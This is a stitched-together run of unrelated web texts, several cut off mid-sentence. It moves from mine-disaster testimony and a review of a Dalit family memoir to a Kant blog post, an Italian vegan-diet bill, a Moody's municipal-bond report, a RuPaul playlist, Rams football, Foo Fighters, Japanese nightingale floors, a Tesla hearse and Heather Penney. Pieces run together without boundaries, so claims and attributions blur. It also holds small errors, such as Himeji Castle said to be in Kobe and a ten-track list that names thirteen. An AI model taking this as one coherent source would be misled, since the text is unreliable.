I was standing on a cemetery that was about two nautical miles from this explosion yesterday. And we were working to register and mark cemeteries in the area. This same company is doing mountaintop removal coal mining near the community of Lindytown, and it’s impacting the cemeteries. So we were there registering and marking these cemeteries when we felt this blast. We were standing on the cemetery, and it was sort of like an earthquake, if you will. And I looked at the person that was with me and said, you know, that was a really odd blast. It was an underground blast, and it was very loud, which is uncommon.
And after that, he had a scanner with him, and we heard on the scanner that there had been a terrible accident. They was calling in forty ambulances for standby. And we, of course, rushed back out of there and to our homes to ensure that our families were located. And that’s something we do here. I mean, we very much love our coal miners here, you know, and we’re very proud of this tradition, but we have to ask ourselves how long can we keep doing this. You know, I mean, we literally mined this place to death. These mountains are honeycombed with old abandoned mines and then the new mines. And then they’re doing mountaintop removal mining now. And we’re literally, on a daily basis, we’re putting these men in very dangerous |
amma (Mary), who had also educated herself, across the aisle that segregated sexes in the church and it was love at first sight. Marriage followed. Thus starts the story of Sujatha’s grandparents. The missionaries not only educated them but gave them jobs as teachers and self-pride by having them dress in Western clothes whereas caste Hindus would have insisted on untouchables, Christian or Hindu, wearing loin cloths.
Soon enough there were children. The third generation was led by a son, G’nana Satyamurthy (known as Satyam), a second son, William Carey, after the founder of the Baptist mission in India and a daughter, Mary Manjulabai (called Papa or “little one” and later Manjula).
On a Christmas day, Mary was insulted and jeered at by a gathering of Hindus when she wore a fine sari and blouse to the bazaar of Adavi Kolau, the village they taught in. When the Christian community did not protest Prasanna Rao decided to leave the village. They went to Vishakpatnam (Vizag to the British) and got better jobs in Christian schools. The family was happy—but only for a few years. Mary contracted TB and died. Her husband was left with three children and the huge debt he had taken for his wife’s treatment. One day Prasanna Rao dressed the children, left them on the steps of the school in which his wife had taught and abandoned them. The boys were taken by their aunt and the girl, Manjulabai, by her great-grand mother Marthaamma (to whom the book is dedicated). If anyone needs to know about the tremendous accommodativeness of the Christian community in looking after the needier parts of its society, Ants provides deep insight. Mary’s last words to her mother were: “Educate my children”. And this the old lady set out to do in right earnest.
The father unbeknown to his family or children joined the army and the benefits of this come to the children and his family when he re-appears in uniform some years later. (Dr. Amedkar’s father served in the army too.)
Two of them aspired higher than their parents. Rather than be teachers, they wanted to train to be college lecturers, while Carey showed no aptitude for studies but became a village toughie and later a physical trainer in a college. The tale of these siblings is touching.
The struggles, successes, failures and achievements, despite prejudice, of three siblings are well presented. Take for example the circumstances of their departure from Vizag in the wake of the Japanese bombing in 1942. They were evacuated to the house of an uncle, Nathaniel, who was uneducated and worked as a coolie. He lived in their family village and had ten children, none of whom went to school. This was also the year in which Gandhi gave the Quit India call. There was a yearning even among those of Nathaniel’s class to see the British out of India. Eleven-year-old Satyam, the political voice of Ants, imagined that with their departure everyone’s life including his family’s would improve. “He’d heard that the white lords lived in bungalows, ate bread they sliced with knives, wiped their mouths with cloth. When they left, surely all Indians would live like that.” He was disillusioned in his later teens.
The boy was not drawn to Gandhi but to Subhas Chandra Bose, who had raised an army in Burma, determined to drive the British out by force. Nathaniel was sceptical: “If we drive the white devil out, the Hindu devils will massacre us,” he said. The majority, however, wanted freedom. Five years later when Independence finally came “a fat boy Satyam had never seen came up… and asked a strange question that Satyam had no answer to: “Do you think this independence is for people like you and me?”
This is a question that lives on, 70 years later: for the slum dweller, old people without means, day labourers on minimum wages under MGNREGA, the agricultural and urban proletariat, those who die in our sewers, to those who make up the hunger index, et al.
Manjula was Sujatha’s mother. Her mother’s brother Uncle Satyam was her hero. The main narrative of the work (which reads more like a novel than non-fiction) is about her mother and Satyam who had a passion for and wrote Telugu poetry. He got involved in politics at 14 in the Youth Congress. After participating in the organisation of various agitations and strikes he ended his mature life as a member of the Peoples’ War Group (now CPI Maoists), an armed, leftist, revolutionary group he helped found in erstwhile Andhra Pradesh, from whose jungles the insurgency that persists even today has spread to Chhattisgarh.
Then comes the short and incomplete Tale of Sujata Gidla, the fourth generation, the great grand-daughter of the forest dweller displaced by the British to make way for a teak plantation. Now around 53 she was probably born in 1963. Taking each generation at 30 years we may say Ants could also be appropriately titled “Untouchable’s Century” and we get only glimpses of her life as an adult. Having been laid off by her bank in New York she now works for the New York metro.
The work shows the progress a family that has its origins as hunter gatherers can make over time. They owe this to the missionaries so reviled by the right wing Hindu dispensation. Our President Ram Nath Kovind, himself a Dalit, recently praised the church for this much, so newspapers hint, to the disapproval of the ruling dispensation. Sujatha combines these tales into one admirably. The historical highlights from the tyranny of Nizam’s rule, his attempt to keep Hyderabad as a Sultanate independent of the Indian union, the depredations of the thuggish Razakars, the takeover by the army, the reassertion of power by the landed classes, the India-China war of 1962 and the support extended to Beijing by the Communist Party—all this and more is deftly used as the backdrop to portray the effect of events on untouchables in general and her family in particular.
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nts has been reviewed widely in the western papers. Both The New York Times and The Economist carry lengthy and incisive reviews. But for them it is a story of eternal Hinduism in its classical form with the laws as written by Manu. However, The Economist notes that “Ms. Gidla’s stirring memoir, chronicles her family’s experience of the contest between modern India’s civilising aspirations and the savagery of a decaying but persistent old India.”
There is the next phase of her life that The New York Times notes: that of the émigré in the US where she went at the age of 26 and worked in the Bank of New York till she was laid off. At 53, she is now a conductor on the New York metro.
Noting the first line of the book, NYT says: “Although foreigners may assume that momentous changes sweeping across India … have blunted, if not erased, ancient caste prejudices, AAE gives readers an unsettling and visceral understanding of how discrimination, segregation and stereotypes have endured throughout the second half of the 20th century and today.”
Ants is the story of the contest mentioned by The Economist, of an educated tribal, middle-class, Christian, untouchable, family against this oppression. The story of the great grandparents is one of hunter-gatherers who emerge from the jungles of central India as non-Hindus and pray to their own goddess. As such they belong to no caste. But they are forced soon enough by usury to lose the land they settle on and learn to cultivate. Thereafter they begin to work on others’ fields and since only the lowest of the low are in this occupation find themselves slotted into untouchable cohort of society along with the slur and servitude this entails.
Sujatha also honestly decries the structure of society within outcasts. She is a Mala but there is, for example, her school friend who does not let her enter her house because she is a Madiga. Their occupation is to carry away dead animals, strip them and use the skin to make hides. They also eat carrion beef. Yet they are not the lowest—there is always somebody lower in the ladder, the pakis for instance. Each group of artisans has its place in untouchable society. But today market economics—supply and demand—has hiked wages and leather workers, carpenters, plumbers, electricians and others in specialised occupations are hard to come by. Consequently there is a churn in society and their living standards.
Money whitens, as the saying goes in racially divided America. In India, too, money erases divisions. So does education. It increasingly enables inter-caste marriage, though as the author notes, often to the peril of the couple. Among the older villagers such “love marriages” are unacceptable as “love jihad” ones are to conservative parents and hide-bound communities—even though the younger generation is in the process of going beyond the classifications of caste and religion. But the real story is that of educated outcastes like Gidla.
Christian missionaries are much reviled today by the so-called Rightists who are bent on avenging 1,000 years of slavery first under Islam, say, from the sacking of the Somnath Temple by Mahmud Ghaznavi in 1025 ACE to the defeat of Bengal’s nawab, Siraj-ud-daulah, at Plassey in 1757, and under the Christian British from then till 1947. But Ants very clearly outlines the benefits of the latter era and the belief of the clergy and higher officials (Macaulay, for example) that if the oppressed were educated they would progress—from forest dwellers, to teachers to a woman-physicist research associate at India’s space agency to a New York banker when Sujatha Gidla immigrated to the US. If she had clung on to the Hindu fold she would have been a mother of several undernourished children and an agricultural labourer—an untouchable. Socially, too, she records progress in America: “One time in Atlanta I told a guy in a bar I was untouchable, and he said, ‘Oh, but you’re so touchable’.” One wonders what next. One is left tantalisingly uninformed of her personal life in her new world.
***
T
o return to the mother and the hold that religion has over people and communities. The conversion of untouchables to Christianity and study at a mission school had a salutary effect as far as neatness and order were concerned. To get an MA and become qualified to teach in a college, Manjula had to go far from home to Benaras Hindu University. There her roommate, Durga Kumari, an Andhra Brahmin, asked her to accompany her to the temples along the river that she loved going to.
When they got to them “Durga Kumari almost fainted from emotion. The force of the divine that infused every element there—the air, the water …consumed her Brahmin soul. Manjula on the other hand nearly fainted from disgust. The filth, the stink, the slime… the revolting activities going on around them overwhelmed her.
“Surrounding the temples were thick masses of people in nothing but loin cloths, displaying their pot bellies, hairiness, hairlessness, diseased skin …missing limbs… fungal toes. They were all bathing shamelessly, men and women, together. Hindu worship equipment, dead flowers… strewn all over… Manjula had seen many untouchable colonies including those of the Madigas. But never had she seen, never could she have imagined a filthier place on earth.
“On the Ganga bodies burned on ghats… and the remains were pushed into the water, often only half consumed.” The pollution was concentrated. Yet “throngs of bathers took the water into their mouths, let it swirl into their throats, and swallowed it down.”
At the temples Manjula faced another problem. “As an untouchable she was not supposed to enter the Kashi Viswanath temple. Even though her Brahmin friend would ignore this if she did, she wondered whether she should pretend that such a monstrous oppression did not exist? This dilemma resolved itself when she out of her own will refused to enter even the holiest of temples. She knew that if she took even one whiff of the air into her lungs, she would drop dead on the spot.”
She happened to go to Sarnath later where Buddha first taught his dharma and got his first disciple. “In utter contrast to the Hindu temples, it was a clean, peaceful place.”
Those who have been to Saint schools and Jesus and Mary convents know that their teachers are obsessed with cleanliness. In fact the difference between them and students of a pathshala created a schism in society. It is a happy augury that Mr. Modi has launched a “Swacch Bharat” drive. This could close the gap between the two groups.
The clean Ganga mission started with Rajiv Gandhi in 1995. Narendra Modi is the MP from Benaras now and the mission carries on. The myth of the river is that its source is in heaven and it flows through Lord Shiva’s locks. It is also eternal and its water is Amrit—but one hopes not eternally polluted Amrit. One can live on hope but not on polluted Ganga Jal.
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I
ndian society is in deep churn. Many Dalits today follow Ambedkar and are reverting to Buddhism. As he said “I was born a Hindu but I will not die a Hindu.” They convert even though by doing so they lose access to reservations in educational institutions and government jobs. The irony is that even as they do many others are agitating, litigating and politicking to go down the ladder so that they may step into the space the scheduled caste are vacating. In September 2016, for example, the Amroha municipality advertised 114 vacancies for sweepers. It got a staggering 19,000 applications from people of all castes. Among them were MBAs and B. Techs. When the scheduled castes found out they protested that the jobs should be reserved for them!
Gidla does not touch on the meaning of such incidents—and perhaps rightly as it is not a part of her middle-class family’s experience. A point for the future is that Sujatha Gidla was born a Christian untouchable. One wishes her a long life. But will she die a communist untouchable or will India have changed and become a truly egalitarian society?
Hopefully many Indians, especially those who wield power, will read this remarkable work.We have seen that even in 1770, eleven years before the first edition of the Critique was published, Kant recognized that our sensible intuitions gave us appearances of objects but not the objects as they really are and that the status of the noumenal and its relationship to the phenomenal is quite different than what is described in the Critique and indeed in conflict with it. In altering the latter term of the phenomenal/noumenal relationship, Kant has needed to consequently reconfigure the what of the noumenal in order to explain what work it is doing in the analysis of our sensible intuitions. That is, the question of what the noumenal “is” must always be related to the question of how it operates, and, as I discussed briefly in the last post, the two dominate views[1] on the matter are either that Kant is espousing two ontologically distinct “worlds” of objects or that objects have two aspects, in which “Kant’s transcendental distinction is between the ways in which things (empirical objects) can be ‘considered’ at the metalevel of philosophical reflection rather than between the kinds of thing that are considered in such reflection. Things can be considered either as they appear, that is, as they are in relation to the subjective conditions of human knowledge, or as they are in themselves, independently of these conditions.”[2]
The former view is perhaps the most classical interpretation of Kant and is indeed one of the sources of early criticism against him (which will be important as we go on to discuss later post-Kantian figures.) Typically, the reading is that unity of the appearances that are given to our mind as the manifold of sensible intuition is made possible through the application of the categories to the manifold, which in turn comes to us from the affection of objects on the mind. “But, so the argument goes, if the object is an appearance, interpreted here as a representation, it could scarcely produce the very sensory manifold out of which it itself was first formed. The only alternative is affection through things in themselves. But Kant explicitly denies that the object can be a thing in itself.”[3] Thus, the problem of affection is the most common objection to the transcendental distinction between phenomena and noumena as an ontological distinction. Something outside of space in time could scarcely have an effect upon things in space and time.
Henry Allison’s version of the two aspect view differs significantly from this two world view in that Allison argues the distinction should be understood methodologically rather than metaphysically. The label “two aspect” is a bit misleading in this respect as it seems to suggest just another ontological description of objects, namely, that they have both phenomenal and noumenal aspects simultaneously. Indeed, Allison acknowledges the worry that if this is what is meant by “two aspect,” then the problem of affection has not really been solved but only condensed into objects as a single class. However, this is not Allison’s claim. Rather, the claim is that by setting up his project as the identification of the “epistemic conditions” of sensible experience, Kant is claiming to have discovered the conditions for our discursive knowledge specifically—a knowledge that is limited and finite. This suggests that there is another type of knowledge which we cannot have, namely, knowledge of the thing-in-itself which is outside of the conditions of possible sense experience. Thus, Allison writes, “It is precisely because sensibility has its own a priori forms that we are forced to distinguish between things as they appear, that is, as they are sensibly represented, and the same things as they are in themselves, independently of the conditions of their sensible representation. In other words, Kant’s theory of sensibility, which is itself an essential ingredient in his account of the discursivity of human knowledge, entails that the things that we intuit are not in themselves as we intuit them.”[4] The thing-in-itself becomes a way of thinking about sensible intuition as belonging to us and conditioned by the very categories that make it possible in the first place. The thing-in-itself, in other words, is a conceptual tool that helps us understand how our sensible experience is both ours and is of objects that are real and not ideal.
In the next post, we will turn to Kant’s own account of the thing-in-itself in order to spell out the most helpful way to think about it in light of the problem of conflating knowledge of the thing-in-itself with objective judgment.
[1] It must be noted that there are also other, “third way” views, which cannot necessarily be categorized together that attempt to criticize the two aspect view as set forth by Henry Allison but not from the defense of the two world view. Rather, they espouse either a “two perspective” view (i.e. Hoke Robinson), or by attempting to minimalize the importance of the noumenal in Kant’s philosophy altogether. See: Hoke Robinson, “Two Perspectives on Kant’s Appearances and Things in Themselves,” Journal of the History of Philosophy 32, no. 3 (July 1994): 411-441; Lior Nitzan, “Thought of an Object and the Object of Thought: A Critique of Henry Allison’s ‘Two Aspect’ View,” Archiv für Geschichte der Philosophie 92, no. 2 (June 2010): 176-198. [2] Henry Allison, “Transcendental Idealism: The ‘Two Aspect’ View,” New Essays on Kant, ed. Bernard den Ouden (New York: Peter Lang Publishing, 1987): 155. [3] Hoke Robinson, “Two Perspectives,” 415. [4] Allison, “The ‘Two Aspect’ View,” 158-9.
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a god I'm hoping to impress it with my piety, so I show it off at every opportunity. Tweet What use is religion if you can't use it as a weapon when you need to? Tweet
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What the pious really mean.I'll pray for you because:Isn't it great the way religion can be used against other people inmany different ways? Has mankind ever devised any better source of excuses for the morally bankrupt than religion? TweetVisiting Italy and passing on the country’s world-class cheeses, meats, and seafood may seem like a ghastly travel crime. But if you live in the country and do the same with your kids, it could soon be a real crime.
Conservative lawmaker Elvira Savino recently proposed a law that would prohibit parents from keeping their kids on a strict vegan diet—that is, one that abstains from meat, fish, dairy products, and sometimes other animal products such as honey and gelatin. The text of the law describes such a diet as “devoid of elements essential for healthy and balanced growth.”
If the law is passed, parents found in violation would face up to a year in prison. But if a child becomes ill or dies on the diet, the parents would face boosted jail time of up to four or six years, respectively. The law applies to parents of kids 16 and under, with the harshest penalties going to parents of kids three and under.
Lawmakers are expected to take up the proposed legislation later this year.
"I have nothing against vegans or veganism as long as it is a free choice by adults," Savino told Reuters this week. "I just find it absurd that some parents are allowed to impose their will on children in an almost fanatical, religious way, often without proper scientific knowledge or medical consultation."
Nutrition experts, such as the Academy of Nutrition and Dietetics, have found that vegan and vegetarian diets, which can include dairy and eggs, can be safe for kids if they are thoughtfully planned out. Parents need to pay special attention to their kids' levels of vitamin B12, vitamin D, iron, calcium, protein, and fiber.
Savino’s bill argues that most vegan and vegetarian parents don’t do that and fail to consult medical professionals.
Her proposal comes on the heels of several high-profile cases of Italian children being hospitalized for malnourishment after being fed vegan diets. In July, Milan doctors were shocked to find that a one-year-old vegan boy had the weight of a three-month-old. His parents subsequently lost custody. Last year, an Italian court ordered a mother to stop raising her 12-year-old son as a vegan after the boy’s father alleged that the diet was stunting his growth.
Still, according to the BBC, many health experts are skeptical of the bill. They argue that better nutrition education and public health campaigns would be more effective at keeping kids safe than possible jail time for their parents.Comparison of open source licenses Jan Krüger <jk@jk.gs>, http://jan-krueger.net/ Version 1.0, 2011-03-11
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General remarks
Accuracy: I do not guarantee that the information in this table is correct, even though I made every effort to check it. Some details are omitted, so you shouldn’t exclusively rely on this table, anyway.
License: This document is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
URLs: HTML version at http://j.mp/opensource-licenses, link to PDF version at http://jan-krueger.net/opensource-licensesTrump is not alone. There is a global movement of minds. As John Lanchester has observed in The London Review of Books, “I don’t think there’s ever been a time in British politics when so many people in public life spent so much time loudly declaring things they knew not to be true.” The successful arguments of the “Leave” campaign for Britain to quit the European Union “were based on lies.” The charlatan trafficking most vociferously in these untruths, boorish Boris Johnson, has just become Britain’s foreign secretary.
Facts are now a quaint hangover from a time of rational discourse, little annoyances easily upended. Volume trumps reality, as Roger Ailes understood at Fox News, before a downfall that coincided with the apotheosis of his post-factual world.
A red-faced bully, adept in the choreography of collective hysteria, arises. He promises that he alone can set things right. He is the voice. He stands against a great tide of menace, from ISIS to immigrants, and only he understands the vast dimensions of the danger.
We have been here before. Fascism was a backlash against dysfunctional democracies. It invited belief in the leadership of the strongman against enemies within and without. Its currency was untruth and its culmination bloody unreason. It was decried and dismissed by those it would devour.
It is inevitable, given what he represents, that Trump looks to Putin. Orwell again: “Totalitarianism demands, in fact, the continuous alteration of the past, and in the long run probably demands a disbelief in the very existence of objective truth.”
Putin is not a totalitarian, but he has totalitarianism in him, and the conditions of today are not those of the 1930s. But in technology’s disorienting cacophony, the disaggregation of increasingly unequal societies, the frustrations of the many millions for whom life has become an exercise in precariousness, the pressures of globalization and mass migration, the stirring of racism, the spread of terrorism, and the steady undermining of truth, the seeds of a new authoritarianism have been sown. This is the wave Trump rides.
Trump’s strongest argument is that he represents change and Hillary Clinton does not. He will see Clinton’s charges of mendacity with accusations that she is untrustworthy. He may well win. Anyone denying this has not grasped that “epidemic suggestion” tends to be unstoppable.
Brexit illustrated a thirst for disruption at any cost. It was the supporting act for a possible American leap in the dark that would place Trump’s portrait in United States embassies around the world. Perhaps that’s the least of it. Still. That face so displayed would signal the end of an era and imminent danger to the Republic and the world.Vallejo, Calif., declared bankruptcy last year and is being closely watched to see if it will set a legal precedent that other towns could follow.
Moody’s did not report on individual cities or towns, but its overview offered a general note of caution for investors who have bought municipal bonds seeking a safe stream of income in difficult financial markets.
In a special report made public on Tuesday, the agency cited revenues that are falling almost everywhere as a result of the economic downturn. But it also discussed the problems some municipalities had created for themselves by using complex financial products that seemed to be saving money at first, only to send costs soaring during the credit crisis.
In former boom states like California and Florida, the sharp decline in housing prices is translating into falling property-tax revenue, while in towns in Michigan, Indiana and Ohio, revenues are off because of the collapse of the auto industry. Many local governments in New York, New Jersey and Connecticut will lose significant revenue because they rely on the banking and financial services sectors for their tax bases. Moody’s said any municipality relying heavily on tourism, gambling or manufacturing was probably at risk of feeling a pinch.
The report suggested conflicts ahead between taxpayers struggling to keep their own households afloat and elected officials charged with balancing budgets, making their payrolls and protecting their credit ratings.
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“Taxpayers, worried about their own financial condition, are more resistant than ever to increasing property or other local taxes,” the report observed.
The report’s publication coincided with the downgrading by Moody’s of the credit of the State of Illinois to the A level from double-A. Moody’s said Illinois was having difficulty managing its cash, and in recent weeks had been trying to push its scheduled pension contributions into the future. The state pension fund is already seriously underfunded.
The Federal Reserve chairman, Ben S. Bernanke, warned that local governments had probably lost their ability to lower their borrowing costs by linking their bonds to derivatives. Such bond packages had become popular in the last few years because they appeared to offer cities both the lower borrowing costs of variable-rate bonds and the predictability of fixed-rate bonds. But the structures broke down during last year’s market turmoil, leaving some municipalities staggering under more debt than they can afford.
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Mr. Bernanke said he was aware that some governments with low credit ratings were completely shut out of the short-term financial markets, while others were stuck with a type of derivative called interest-rate swaps that no longer made sense for them.
Mr. Bernanke offered his remarks in a letter to members of Congress who had asked the Fed to create a facility to breathe new life into segments of the municipal bond market that were still paralyzed. But Mr. Bernanke said municipal debt had “unique characteristics” that made it “unlikely” that the Fed could be of much help.
He suggested that instead, Congress could consider setting up some other form of assistance for municipalities unable to restructure or refinance their debt, like a federal bond reinsurance program.
The bond markets took the Moody’s report in stride on Tuesday, apparently because institutional investors were already familiar with the problems described. New York City brought bonds to market on Tuesday and ended up selling much more than initially planned.
“New York City is potentially a poster child for economic woe, but that didn’t seem to bother investors,” said Thomas G. Doe, president of Municipal Market Advisors.
The Moody’s report “creates headline risk and a lot of confusion for investors,” he said, “but it’s not a sounding of the alarm for default.”We recently discovered this goldmine of classic RuPaul music, back from his club kid days, so we wanted to share these tunes for everyone to enjoy! The music videos were all recorded sometime in the 1980s and we’ve been able to find these ten sexy and funky tracks (warning: some videos are NSFW):
“Sex Freak”
“In My Neighborhood”
“Ping Ting Ting”
“This is My Life”
“The Mack”
“Shake Your Starrbooty”
“The Mack”
“Follow Me”
“Mr. Totally”
“Ghetto Love”
“Starrbooty’s Revenge”
“Voyeur”
“Starrbooty”
Watch the video playlist below and let us know in the comments which one is your favorite!
9 Classic RuPaul as a Club Kid Music Videos (Playlist)
To select a specific track, click on the ‘Playlist’ tab in the upper lefthand corner of the video.
[polldaddy poll=7982299]When Sean McVay was hired as the new Los Angeles Rams head coach, he explained that a culture change was necessary for the team.
“Getting a chance to go through this process, I think a lot of things that we hope to achieve, but we know that before we can become a consistent winner, we have to act like winners – and that starts with implementing a culture. So we want to set a culture, maintain a culture and then that’s going to allow us to achieve that sustained success. The similarities in what we believed we needed to implement in this organization – creating a culture of we, not me.”
So far, the moves that the Rams have made in the offseason have echoed these sentiments. From the top to the bottom, all of the additions the Rams have made for on-field improvement come from a distinct desire for more accountability.
Robert Woods is from Carson, a city in Los Angeles, and went to USC for college. He can be a role model for the community and show a younger generation of football fans in Southern California that the sky is the limit.
Kayvon Webster, signed as a cornerback, was the special teams captain for the Denver Broncos. The other captains on the team were Demaryius Thomas and DeMarcus Ware. Andrew Whitworth was a permanent team captain for the Cincinnati Bengals.
1. In talking to #Rams people, premium put on changing/improving culture & belief is Whitworth helps that immediately at a position of need — Vincent Bonsignore (@DailyNewsVinny) March 9, 2017
Here’s how Whitworth described his role with his new team during his introductory press conference:
“I believe that leadership is not about dictating a room as much as it is inspiring guys to want to do something with you. That, to me, is leadership, when people want to go into the same building with you, side-by-side and do something.”
Whitworth is a motivational speaker who started the BigWhit 77 Foundation.
Recently signed linebacker Connor Barwin is also regarded as a perennial role model for his team.
Much like Whitworth, Barwin also has his own foundation — his is called Make The World Better. Here’s what he has said about locker room culture (via MMQB):
“With so much testosterone and so much ego in one room, the possibility of things going off the rails is very high. Like any workplace, however, the most important stabilizing force is good leadership, from an organizational level, a coaching level, and most importantly a player level. From my experience, the best teams are the ones that have strong leadership at each position.”
These players will join other Rams stars who have proven themselves as locker room leaders.
That list includes Rodger Saffold, Johnny Hekker and Robert Quinn."Learn to Fly" is the first single from the Foo Fighters' third album There Is Nothing Left to Lose, released in 1999.
Release and reception [ edit ]
The "Learn to Fly" single was released as a two disc CD set in the UK and Australia, as well as in Europe, and promotional singles were also released in other countries such as the US for radio play.[1] In the US it was the band's first appearance on the Billboard Hot 100 charting at number 19,[2] and was the band's first #1 on the Billboard Modern Rock Tracks chart.[3] It is also their highest charting on the Billboard Hot 100 Airplay chart along with the 1996 hit "Big Me", reaching number 13.[4]
Music video [ edit ]
The music video for the song was directed by Jesse Peretz and won the 2000 Grammy Award for Best Short Form Music Video.[5]
The music video for the song takes place on an commercial airliner, parodying the movie Airplane!, and by extension, the films Airport 1975 and its sequel Airport '77. Two airline mechanics (played by Jack Black and Kyle Gass from Tenacious D) smuggle and hide their narcotic known as "World Domination brand 'Erotic' Sleeping Powder"[6] in |
autocratic-leaning anocracies, and autocracies. Democratic-leaning anocracies, the category into which Morsi’s year in office falls, are a common form of governance during societal transitions. When Secretary of State John Kerry argued in August 2013 that the Egyptian military coup was “restoring democracy” to the country, he ignored the fact that Egypt under Morsi was undergoing a remarkably ordinary transition, neither wholly autocratic nor wholly democratic, falling almost exactly at the mean value of political transitions globally.Unlike the typical Western castles seen throughout Europe, the Japanese castles did not favor a citadel-like structure. They may look entirely different, but the castles of the wealthy were built for pretty much the same purposes: a lavish home that offered protection, and place from which its lords could influence the surrounding countryside.
The first Japanese castles appeared in the 15th century as the country was undergoing one of its rare periods of turmoil. In the proceeding centuries, the castles were built either as governing centers or to simply house a feudal lord. At the peak of the trend, it is considered that more than 5,000 castles dotted the landscape of the Far East island country, but today’s survivors total in the dozens.
Traditionally constructed of stone and wood, the Japanese castles contain architectural features that are striking, unlike anything else seen in the world. It is widely agreed that one of the most impressive of all is the Himeji Castle. Located in Kobe, this fortification is noted for its beautiful white towers. The entire complex is perched atop a hill and is composed of as many as 83 distinct structures, many of which are connected to each other by corridors. Its main keep is six stories tall, and it can be spotted from almost any location in the surrounding city of Himeji.
Other castles may look less spectacular than Himeji Castle, but that doesn’t mean they lack original architectural features. Which leads us to Nijō Castle, a large fortification situated in the former Japanese capital of Kyoto. This castle is known for having perhaps the best example of the Japanese Nightingale flooring system, which was specially designed to catch uninvited guests penetrating the castle’s boundaries.
The authentic flooring system functioned as an automatic intruder alarm, which was certainly a greatly welcomed invention during the Edo period in Japan, spanning from the beginning of the 17th century until somewhere in the late 1860s. This was an epoch marked by a partially feudalistic system, during which regional Lords known as Daimyo had the privilege to administrate and control lands of their own, and they also used private armies for protection.
As the Daimyo was a person of power, he naturally would have enemies. And in those times in Japan, the most efficient way to deal with your enemies was to hire a ninja assassin. Japanese ninjas were notoriously unstoppable, seeming to have the “super powers” to attack any target and get away from the scene of the crime with the flick of a finger.
Created by the best craftsmen and carpenters from around the country, Nightingale floors, or “uguisubari,” which translates as “bush warbler guard watch,” are designed in such a way as to make a sound similar to a bird’s chirping when somebody starts walking on it. With just the lightest step, the floorboards bend enough to cause the flooring nails to rub against a clamp, producing a clearly audible sound. The songbird-like creaking is not very loud but is certainly enough to shatter a night-time silence, warning any guard that danger is approaching and forcing a ninja to abandon his plots for the night.
During the Edo period, Nijō Castle was the seat of power in Japan, visited by numerous Daimyo as well as prominent military commanders known as Shogun. To ensure that all guests are safe and sound, the nightingale floors were installed at several points inside the castle, with some rooms also integrating secretive places where personal bodyguards of prominent visitors were able to lie down and see if any attacker dared to disturb the night. The Nijō Castle nightingale floors can still produce the chirping sound, but now serve as an attraction for visitors and tourists.
Here is another story from us: The Romans are credited with the invention of the first underfloor heating system
As it was a good method for helping a guard pinpoint the exact location of any trespasser, Nightingale floors soon started being used not only for castles but also for treasured temples. Besides Nijō Castle, other examples of such floors still exist today in the interiors of the Shingon Buddhist temple Daikaku-Ji, in Kyoto, and the Chion-in temple in Higashiyama-Ki.A message mistakenly sent to police on Facebook got plenty of people giggling, with the police using hashtags to promote safety on the roads this Easter.
A humorous message seemingly sent to NZ Police by mistake has prompted a fittingly funny response from the force.
The private message, which asked "Oi bro when are we gonna get blazed with all your weed", was sent to the New Zealand Police Facebook page earlier this week.
After receiving an automated reply, the sender realised their mistake, messaging the page again with "whoops wrong person".
FACEBOOK The sender quickly realised their mistake, sending a casual "whoops" as an apology.
READ MORE:
* Don't use social media to accuse people of crime, police say
* Police remind social media users about implications of comments
* Social media helps police catch offenders
REUTERS NZ Police is reminding motorists stay off social media while driving over the Easter weekend.
The police social media team saw the funny side of the mistaken message, seeing it as an opportunity to get out an important Easter safety message
A screenshot of the message was posted to Facebook on Good Friday along with three lighthearted safety-focused hashtags urging people to watch their speed over the long weekend and avoid checking social media while driving.
Whether the message was intentionally sent to police as a joke or not, it quickly attracted attention on social media with more than a thousand likes within a few hours of being posted.
Most commenters praised police for their humorous take on the unusual situation.
Michael Page said he thought the post was "great" and "showed the police to be more personable, which is important".
However others weren't convinced that the message was sent by mistake and questioned the police's decision to post it online.
"I think that might be a joke. I have to wonder, are you not concerned that you and the sender have the same level of maturity in regards to humour?" Sara Sergejew said.
"Why can't the NZP focus and post important issues."
However, a police spokeswoman defended the post, seeing it as a lighthearted way to remind motorists to watch their speed and minimise distractions over the Easter weekend.
"It's just an opportunity to get a good message out there," she said.
The hashtag-centric post hasn't been the only Easter fun for police on social media with another post introducing Elliot, a ginger guinea pig, as the newest member of the Police Media Centre team.We know you're dying to see it, so we'll get straight to the point, check out the first ever Tesla hearse:
Van der Lans & Busscher B.V.
The hearse, first spotted by Electrek's Fred Lambert, was made by funeral transport company Vander der Lans & Busscher BV. The funeral transport company used a modified Tesla that was built by Netherlands-based stretched limousine maker RemetzCar to make the hearse a reality.
The hearse took eight months to build, a spokesperson for Vander der Lans & Busscher BV told Business Insider, adding that the company will use the car for funerals. RemetzCar plans on building more Tesla hearses, the spokesperson added.
Van der Lans & Busscher B.V.
The Tesla hearse has a range of 217 miles in case you're looking for a long funeral procession. It comes with a separation wall and manually retractable floor for a coffin.
The hearse will also be on display at the 2016 Funeral Exhibition in Gorinchem in the Netherlands.
Yes, the funeral exhibition is a real event that is expecting 9,500 visitors this year. The event is bringing together 250 exhibitors that are involved in the funeral business. This year's theme is "Fit for the future."Heather Penney is the director of United States Air Force Air Superiority at Lockheed Martin Aeronautics Company. She is best known for her role as a USAF lieutenant who was one of two pilots ordered to ram and down United Airlines Flight 93 before it reached Washington, DC, during the September 11, 2001, terrorist attacks.[1]
Early life [ edit ]
Heather Penney majored in literature at Purdue University. Her father was retired Air Force Col. John Penney, who after retirement joined United Airlines.[2]
Career [ edit ]
Air National Guard [ edit ]
Penney was the "only woman in her fighter pilot training class and the only woman in her fighter squadron"[3] (121st Fighter Squadron) with the DC Air National Guard, stationed at Joint Base Andrews.[4]
Maj. Penney, who was a first lieutenant at the time, was ordered into the air in her F-16 fighter jet alongside Marc H. Sasseville's aircraft at Andrews Air Force Base as the terrorist attacks were unfolding on September 11, 2001. They were ordered to down United Flight 93 before it reached Washington, DC's, airspace but because of the urgency, there was not time to outfit their aircraft with live ammunition. The mission could only have been accomplished by ramming the plane with their respective fighter jets.[5] Flight 93 subsequently crashed as heroic passengers fought to take control of the aircraft. This ended the mission. When asked why she was ready to fly a kamikaze mission, "Why? Because there are things in this world that are more important than ourselves. Freedom. The Constitution of the United States. Our way of life. Mom, baseball, apple pie; these things and so many more that make us uniquely American. We belong to something greater than ourselves. As complex and diverse and discordant as it is, this thing, this idea called America, binds us together in citizenship and community and brotherhood."[6]
Iraq War [ edit ]
She served two tours of duty in the Iraq war.[7]
After retirement [ edit ]
